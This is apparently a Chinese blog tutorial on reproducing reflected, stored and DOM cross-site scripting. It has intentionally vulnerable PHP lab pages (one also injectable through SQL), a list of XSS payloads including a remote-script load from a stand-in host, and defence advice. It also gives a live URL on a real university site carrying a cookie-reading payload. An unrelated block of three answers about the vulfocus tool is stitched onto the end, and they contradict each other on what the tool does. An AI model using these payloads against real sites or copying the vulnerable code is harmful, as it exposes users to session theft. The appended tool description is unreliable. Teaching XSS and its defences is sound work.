跨站脚本攻击(XSS)复现与防范、上海交通大学反射型与存储型xss案例

本文详细介绍了XSS(跨站脚本攻击)的三种类型:反射型、存储型和DOM型,通过实例展示了攻击过程,并列举了常见的XSS测试语句。同时,讨论了防止XSS攻击的方法,包括输入过滤和输出编码。最后,提到了实际案例,强调了XSS攻击的危害及其防御的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

xss漏洞介绍

XSS是什么

XSS漏洞原理

反射型XSS攻击复现

存储型XSS攻击复现

DOM型XSS攻击复现

常用的XSS测试语句

关于XSS的防御

交大案例


xss漏洞介绍

跨站脚本攻击,英文全称是Cross Site Scripting,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

XSS攻击,通常指的是攻击者通过“HTML注入”篡改网页,插入恶意脚本,代码注入的一种攻击手段,当其他用户浏览网页时就会受影响

常见的危害如窃取cookie,未授权操作,键盘记录,钓鱼等等

XSS是什么

那XSS到底是什么呢?举个例子,假设有一个页面,会把用户输入的参数直接输出至页面上,代码如下

<?php 
$input=$_GET["param"];
echo "<div>".$input."</div>";
?>

用户通过GET方式向param提交的参数会回显至页面上,若访问

http://127.0.0.1/1.php?param=ganyu

F12查看源码:

但是如果攻击者提交的是一段HTML代码呢?

http://127.0.0.1/1.php?param=<script>alert(/xss/)</script>

alert()方法用于显示带有一条指定消息和一个 OK 按钮的警告框

再次查看源码

可以看见,用户输入的script脚本已被写入至页面,alert(/xss/)在当前页面被执行

如果构造的payload不是<script>alert(/xss/)</script>,而是<script src=http://www.exp.com/exp.js></script>

真正的payload写在这个远程脚本exp.js中,避免直接在URL内写入大量javascript

以上例子就是典型的XSS第一种类型:反射型XSS

XSS漏洞原理

根据效果不同而分为三类:

反射型XSS

攻击方式:攻击者通过电子邮件等方式将包含的XSS代码恶意链接发送给目标用户,当用户访问链接时,服务器把带有XSS代码的数据发送给目标用户浏览器,浏览器解析这段恶意脚本,导致XSS漏洞,这种攻击方式也称为“非持久型XSS”

存储型XSS

攻击方式:攻击者在发帖过程中,将恶意脚本连同正常信息一起注入帖子的内容中,随着帖子被服务器存储下来,攻击脚本将被永久地存放在目标服务器的数据库中,具有很高的隐蔽性,当正常用户浏览这个被插入恶意脚本的帖子时,恶意脚本会在他们的浏览器中执行,这种攻击方式也称为“持久型XSS”

DOM型XSS

攻击方式:用户请求一个经过专门设计的URL,由攻击者提交,其中包含XSS代码,服务器的响应不会以任何方式包含攻击者的脚本,当用户浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞


反射型XSS攻击复现

源码如下:

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <title>反射型XSS</title>
</head>
<body>
<center>
    <h6>反射型XSS靶场</h6>
    <form action="" method="get">
        <h6>请输入需要回显的字符串</h6>
        <input type="text" name="xss_input_value" value=""><br />
	<input type="submit">
</form>
<hr>
<?php
	if(isset($_GET['xss_input_value'])){
        	echo '<input type="text" value="'.$_GET['xss_input_value'].'">';
    }else{
        echo '<input type="text" value="输出中...">';
    }
?>
</center>
</body>
</html>

这段代码实现的功能是在表单内的输入框提交内容,单击提交按钮后,会回显至页面上,若访问http://127.0.0.1/1.html?xss_input_value=ganyu,ganyu将输出到页面上

但是如果访问的是http://127.0.0.1/1.html?xss_input_value=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E呢?

payload:"><script>alert(/xss/)</script>

F12查看源码,可以看到,输入的双引号闭合了value属性的双引号,并且重新插入一段HTML代码<script>alert(/xss/)</script>,如下所示

在反射型xss靶场中,通过GET方式提交参数xss_input_value的值,echo将会执行输出input标签,并将赋值给xss_input_value的值带入input的value中,当浏览器执行<input type="text" value=""><script>alert(/xss/)</script>">时,造成XSS漏洞,利用同样方式可以构造的payload如下

"><img src=1 οnerrοr=alert(/xss/)>,假设输入长度限制在20个字节,则可以利用事件来缩短所需要的字节数,如" οnclick=alert(1)//

存储型XSS攻击复现

存储型XSS页面实现的功能是获取用户输入的留言信息存储至数据库,并将留言信息输出到页面上

源码如下:

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <title>存储型XSS</title>
</head>
<body>
<center>
    <h6>存储型XSS靶场</h6>
	<h6>留言板</h6>
    <form action="" method="get">
		标题:<input type="text" name="title"><br />
        内容:<textarea name="content"></textarea><br />
	<input type="submit">
</form>
<hr>
<?php
	$con=mysqli_connect("localhost","root","passwd","xss");//本机地址,用户名,用户密码,数据库
	if(mysqli_connect_errno($con))
{
	echo "数据库连接错误" . mysqli_connect_error();
}
	if(isset($_POST['title'])){
		$result1=mysqli_query($con,"insert into xss(`title`,`content`) VALUES('".$_POST['title']."','".$_POST['content']."')");
}
	$result2=mysqli_query($con,"select * from xsstable");//查询表内所有内容
	echo "<table border='1'><tr><td>标题</tr><td>内容</td></tr>";
	while($row=mysqli_fetch_array($result2)){
echo "<tr><td>".$row['title'] . "</td><td>" . $row['content']."</td>";
}
echo "</table>";
?>
</center>
</body>
</html>

首先复现需要创建一个名为xss的数据库,新建一个xsstable表,两个字段名,title和content。

当用户插入一条标题为hello,内容为world时,数据库中数据如下所示

那如果攻击者插入的标题为<img src=1 οnerrοr=alert(/xss/)>呢?

再次查询

能看见,成功插入了数据。当浏览器访问的时候,浏览器会将标题输出至页面,页面执行HTML代码,导致弹窗。此时,这个XSS也称“持久性XSS”

DOM型XSS攻击复现

源码如下:

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
    <title>DOM型XSS</title>
    <script type="text/javascript">
        function tihuan(){
            document.getElementById("id1").innerHTML=document.getElementById("dom_input").value;
        }
    </script>
</head>
<body>
<center>
    <h6>DOM型XSS靶场</h6>
    <h6 id="id1">输入中...</h6>
    <form>
    	<input type="text" id="dom_input" value="输入"><br />
        <input type="button" value="替换" onclick="tihuan()"><br />
    </form>
    <hr>
</center>
</body>
</html>

单击“替换”会执行javascript的tihuan函数,tihuan函数为DOM操作,HTML的标签都是节点,通过HTML DOM,树中的所有节点均可通过javascript访问,如通过 document.getElementById获取ID为id1的节点,然后将节点id1的内容修改成id为dom_input中的值,当攻击者构造payload为,则造成XSS弹窗漏洞

常用的XSS测试语句

<script>alert(/xss/)</script>
</script><script>alert(/xss/)</script>
<img src=1 οnerrοr=alert(/xss/)>
<a herf=javascript:alert(/xss/)>
#' οnclick="alert(/xss/)">

关于XSS的防御

对用户提交的内容进行过滤,对url中的参数进行过滤,包括"","<",">","on*"等等,过滤掉会导致脚本执行的相关内容,对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出到页面的数据进行相应的编码转换,包括HTML实体编码,javascript编码等等

某交大案例:

反射型xss

https://mem.seiee.sjtu.edu.cn/meme/web/register/success?email=%3Cscript%3Ealert(document.cookie)%3C/script%3E

存储型xss

### 回答1: vulfocus是一款用于漏洞复现和漏洞管理的工具。在复现vulfocus跨站脚本漏洞时,首先需要安装和配置vulfocus工具。然后,我们可以通过以下步骤进行漏洞的复现: 1. 打开vulfocus的Web界面,登录到系统中。 2. 在漏洞列表中,选择跨站脚本漏洞(XSS漏洞)进行复现。 3. 在目标列表中选择一个目标进行测试。可以选择一个虚拟机,或者一个虚拟环境中的网站。 4. 点击“开始测试”按钮,vulfocus将开始对目标进行扫描和测试。 5. 在扫描结果中,寻找可能存在的跨站脚本漏洞的URL。 6. 点击URL链接,可以进入漏洞细节页面,查看漏洞的详细信息。 7. 根据漏洞的描述和建议,尝试利用该漏洞进行跨站脚本攻击。 8. 可以通过修改URL参数、输入恶意脚本等方式触发漏洞。 9. 观察攻击结果,确认是否成功执行跨站脚本攻击。 10. 根据漏洞复现的结果,可以采取相应的修复措施来修复漏洞。 以上是基本的vulfocus跨站脚本漏洞复现的步骤。需要注意的是,在进行漏洞复现时,应遵守相关法律法规,只在授权的目标上进行测试,并且避免对真实环境造成任何损害。漏洞复现仅用于学习和研究目的。 ### 回答2: vulfocus是一款漏洞扫描工具,其中包含了很多常见的网络安全漏洞。其中之一就是跨站脚本(XSS)漏洞。为了复现vulfocus中的跨站脚本漏洞,可以按照以下步骤进行: 1. 下载并安装vulfocus:根据vulfocus的官方网站提供的安装说明,下载并安装vulfocus。 2. 配置目标网站:在vulfocus的配置文件中,指定一个目标网站进行漏洞扫描。确保目标网站允许测试环境中的XSS漏洞。 3. 开始漏洞扫描:使用vulfocus的命令行工具或者图形界面,开始对目标网站进行漏洞扫描。 4. 等待扫描结果:vulfocus会自动扫描目标网站中的各种漏洞,并生成报告。 5. 查看XSS漏洞复现:在扫描报告中,找到XSS漏洞相关的信息。 6. 复现XSS漏洞:使用漏洞扫描报告中提供的漏洞细节和示例,复现XSS漏洞。例如,可以使用一个带有恶意脚本的URL,然后在目标网站上执行该URL。这样就可以看到XSS漏洞造成的影响,如弹出恶意弹窗、窃取用户信息等。 需要注意的是,复现漏洞时务必遵守法律法规和道德规范,只在由授权的环境中进行漏洞测试,以避免对真实的网站和用户造成伤害。 ### 回答3: Vulfocus是一款常用于漏洞复现安全测试的工具。其中的跨站脚本(XSS)漏洞是一种常见的网络安全问题,通过该漏洞攻击者可以在受害者的浏览器中注入恶意代码,对用户进行钓鱼、窃取和篡改数据等恶意行为。 要复现Vulfocus中的跨站脚本漏洞,可以按照以下步骤进行: 1. 安装和配置Vulfocus:首先,在支持Docker的操作系统中安装Docker,然后从GitHub上获取Vulfocus的源代码并进行配置。 2. 寻找漏洞目标:使用Vulfocus可以扫描和寻找可能存在跨站脚本漏洞的目标网站。可以通过修改配置文件或使用命令行参数来设置目标网站。 3. 执行漏洞检测:使用Vulfocus可以执行一系列的漏洞检测模块,其中就包括了跨站脚本漏洞的检测。 4. 复现漏洞:如果Vulfocus发现了目标网站存在跨站脚本漏洞,可以通过点击相关的复现按钮来尝试复现漏洞。在复现漏洞时,Vulfocus通常会使用一些已知的攻击向量,如代码注入、HTML标签注入等。 需要注意的是,在进行漏洞复现时,应严格遵守法律和伦理规范,只在合法授权的环境中进行测试,避免对他人的系统和数据造成损害。 总之,通过Vulfocus可以方便地进行跨站脚本漏洞的复现和测试,帮助安全人员及时发现和修复漏洞,提高网络安全性。
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值